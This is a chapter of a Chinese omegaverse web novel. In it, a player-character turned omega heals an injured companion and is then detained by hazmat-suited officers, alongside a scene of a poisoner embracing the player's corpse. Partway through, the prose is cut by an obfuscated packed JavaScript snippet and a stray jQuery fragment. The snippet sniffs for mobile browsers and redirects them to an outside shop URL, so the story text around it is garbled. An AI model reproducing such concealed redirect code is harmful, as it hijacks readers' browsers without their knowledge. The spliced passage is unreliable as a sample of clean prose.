“是大人……真的是……”
信息素不受控制地逸散而出,繁星近乎贪婪地将对方的一切刻入心脏,让血管中灌满对方潮湿的吐息,扫去心中的全部阴霾。
大人还活着……他还救下了佑曦姐。
这又是……何其有幸……
她抬起头,望向那人的面容,而在看清对方状态的瞬间,心脏却仿佛漏了一拍。
白发轻飘飘地垂落,干净的颜色衬得那带着红晕的面颊更加诱人,往日沉寂的黑眸此时此刻变得朦胧,浸透着水色,而这一双眼,正全心全意地注视着自己,哪怕身体不适,也未尝推开她。
多么……
她下意识地磨了磨尖牙。
突然,繁星的手腕被人抓住。
她清醒了一瞬,回过头去,看着佑曦面无表情地将她从玩家的身上扯下,拽着她往门外走:
“他现在是omega,收好信息素。”
大人是……
她忽的一愣,随后红晕克制不住地爬上了面颊。
佑曦没管繁星的表情,直接把她强硬地拉出了房间,顺手把门严丝合缝地关死。
而那股信息素的气味,也随着主人的离开而逐渐消散。
房间之内。
玩家几步后退,直接瘫在床上,胸口起伏着,轻喘着气。
他手臂搭在脸上,遮挡住自己的脸,同时擦拭起自己的汗水。
S级alpha信息素对SSS级omega的影响终究有限,玩家不久之后就恢复到了相对良好的状态,只是脑袋仍有些昏沉。
omega的身体……太麻烦了。
虽然很对不起小繁星……但她只能先出去……
这还只是S级alpha的信息素,他就反应这么剧烈了,如果是SSS级……
那股辛辣的气息仿佛萦绕身侧,贪婪的,又带有强烈的攻击性……
敬康宁不敢想象。
对不起,尘,再也不见。
玩家暗自把某个人踢出见面的选项中。
“敬康宁。”
突然,旁边传来一个声音。
玩家回过头,就看见艾易支撑着身子坐起来,黑金夹杂的发凌乱不堪,左眼紧闭,渗出了些许血液,右眼勉强地睁开,却混沌不聚焦。
敬康宁当即想起来这还有个被gamer攻击了的时空阁下,立刻询问:
“还好吗?”
“……你居然让我上你床了?”
“……”
敬康宁被对方诡异的问题噎了一下。
对方笑了笑,一把擦掉了左眼下的血迹,
“你当然会这么做,你是玩家,游戏里的床和现实中的床对于你来说当然不一样。”
他自顾自地接下去说着,
“看看,生活把我逼得都会推理了。”
敬康宁:……
“艾易,你真的没事了吗?”
“呵呵,非常有事。”
艾易耸了耸肩,肩膀随着他的动作卡到了墙里,时而有碰撞,时而无碰撞,骨骼与墙面碎石之间摩擦的声音,听得敬康宁心惊肉跳。
“我现在,不知道什么是什么了,而且我在游戏里换不了时间线。”
如果不是现在他的眼睛无法聚焦,那么他眼中大体写满了对gamer的杀意。
但有一点同样令艾易困惑。
这种程度的干涉应该属于正常游戏吧?为什么他还会受到类似“惩罚”的机制?
他现在最佳选项就是出游戏,然后切一个解释仪器正常的时间线。
但奈何现阶段他的状态根本无法支撑他正常地出游戏。
一个空间定位错误,他就可能卡在游戏和现实之间。
敬康宁沉默地看着他,心里寻思着怎么帮一下艾易。
就在这时,他右手手腕上的表映入眼帘。
时……空?
虽然不知道玩家的概念化是什么,但基本可以确定他的概念化与“时空”有重合。
那应该可以试着……“修”好解释仪器?
敬康宁这么想着,也顺手就这么做了。
他单手放在艾易的左眼上,而对方已经无法正常感知距离,只是下意识地眨了眨眼。
就当是在用一个游戏技能……
突然,玩家手上闪过一个六芒星。
那六芒星是丝绸质感的,在一阵阵波涛之中绽放出仿佛是白色的奇妙颜色。
敬康宁一愣,下意识收手。
映入眼帘的是艾易没有受伤的脸与正常转动的解释仪器。
真的成功了。
还很轻松。
艾易的身上闪出些许马赛克与诡异色块,他定定地看了玩家一会儿,随后别开了目光。
敬康宁突然有些紧张:
“怎么样?”
要是他一不小心当了庸医,那岂不是让本就不聪明的时空阁下雪上加霜?
艾易目光落回玩家身上,有些古怪地询问:
“你谁?”
敬康宁:……
问题不大,艾易基操。
就在这时,玩家面板突然提示收到了新消息。
敬康宁打开一看,就见他与奇衷的聊天框上多出了一个红点。
对方给自己发了一条新消息。
给一个……他眼中的死人发消息?
在艾易古怪的目光中,敬康宁点开了聊天框,看到了那则简短的消息:
【我成功了。】
……
……
……
“挚友……我成功了。”
金发散开,灰眸沉寂,他轻轻趴在玩家的尸身上,用手撩开了那恼人的黑发。
冰冷的感觉顺着肌肤相贴之处传递到心脏,却无法冻结他永恒跳动的炙热。
他的头靠在玩家躯体的脖颈处,金发扫过对方的皮肤,信息素如同火燎般蔓延着,甜腻又血腥的气息充斥整个房间,贪婪地聚集在玩家的躯体之上,钻入他的每一缕发丝之间,钻入每一寸肌肤缝隙之中。
挚友身上全是……他的味道。
光是想到这一点,他就感受到一阵阵不可忽视的满足感充盈肺腑,让他不由得露出笑容,灿烂又阳光。
贪婪是堕落堂的本能。
萃毒师将那具尸体紧紧拥住,虔诚地靠在对方的颈窝,十指相扣,像是无数次对方安慰自己的样子那般,把力量传递到彼此身上。
萃毒师灰色的眼眸映出对方无光的黑眸,他眼下的青黑昭示着萃毒师最近奔忙的日子。
但好在一切终于有了回报。
他的脑袋微微下移,在对方的胸口蹭了蹭,轻轻闭上了眼,放任自己的意识逐渐沉醉。
“友谊真是一场美妙的梦境。”
.
.
.
敬康宁突然被房间外的喧嚣吸引了注意力。
“艾易,呃……你就先老实呆着吧,我去看看外面发生什么了。”
敬康宁站起身,在艾易不解的目光中走出了房间,正想要走出家门,却被老妇人拦了下来。
她看着玩家,指着桌上简陋的菜品询问:
“不吃饭吗?”
“抱歉,我可能需要先出去一趟。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273162|175773||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敬康宁对她表达了歉意,随后几步出房门。
老妇人望着被关闭的房门,不知在想什么。
突然,她感到谁在拍她的肩膀,回头就见一个黑金夹杂发色,长相凌厉的人站在她身边。
艾易拍着老妇人的肩膀,语重心长地说:
“孩子是留不住的,别追,追不上。”
“可……”
“哦对了,这是哪?”
“……”
敬康宁出门一看,就见一群全副武装,穿着类似白色防护服服饰的人正在车厂门口,而那荧蓝色的头发插在一群白色之间,分外醒目。
“放开我!我没有放出信息素!”
情报商被一群防护服人压着,表情愤愤,对着这群人破口大骂。
而紧接着,一个灰头发的女alpha拿着菜刀冲出房门,毫不犹豫地将菜刀指向那群不速之客,眼睛眯起:
“你们最好给老娘一个说法!随便绑人算几个意思!”
“您先冷静。”
其中一个防护服人机械地说出了这句话,随后将一个仪器拿出,上面显示着824的分数字样。
“omega信息素浓度已超过500,说明刚刚这里存在omega信息素失控现象,您儿子是这片区域唯一登记在册的omega,还望你们配合我们的工作。”
“你放屁!我根本没有释放信息素!”
情报商像是被激怒的小兽,对着防护服们龇牙咧嘴。
“仪器不会说谎的,请您配合我们工作。”
“你们松手!没听到我儿子说他没释放信息素吗?你们这群beta的感知难道会比我这个alpha更敏感?”
灰发的女alpha像是一头发怒的狮子,像是下一刻就要冲上去撕咬猎物。
“机器不会说谎。”
为首的防护服机械地重复了这句话。
情报商的手直接被扣在背后,被生拉硬拽向一辆白色的车。
他吃痛地咒骂着这些人,眼神狠厉地像是要将他们杀死。
握着菜刀的手骤紧,灰发的alpha当场上前,毫不犹豫将菜刀挥出,怒吼道:
“放开他!”
而下一刻,她的手却被轻轻拦了下来。
一个穿着斗篷,戴着面具的白发青年站在了女人和一群防护服之间,他一手拦下了女人的攻击,另一手抓住了防护服的手。
player。
灰发的女alpha讶然地看着玩家的动作,最后皱着眉头松了手。
而对面的防护服看到这个beta外城区的名人,居然一点多余的反应都没有,只是正常地询问:
“请问需要什么帮助?”
玩家盯着那些人护目镜之后没什么光彩的眼眸,没有回答,只是自然而然地放出了些许信息素。
仅仅是一丝控制得当信息素,就让防护服手中的仪器数字飙升到了4327。
情报商瞪圆了眼睛,甚至忘记了挣扎。
被握住手臂的防护服盯着仪器看了两秒,毫不犹豫反手握住了玩家,与此同时他身后紧跟着来了一群同样的“防护服”,把玩家直接扣住。
从那些人扣的力度来看,应该都是普通的beta,玩家可以轻而易举地挣脱。
omega体质固然娇弱,但玩家本人身体素质将提高“娇弱”的平均水准。
“感谢您配合我们的工作。”
握住玩家手臂的防护服说了这么一句话,随后防护服们就把玩家领着上了他们身后那辆白色的车。
连同呆滞的情报商一起。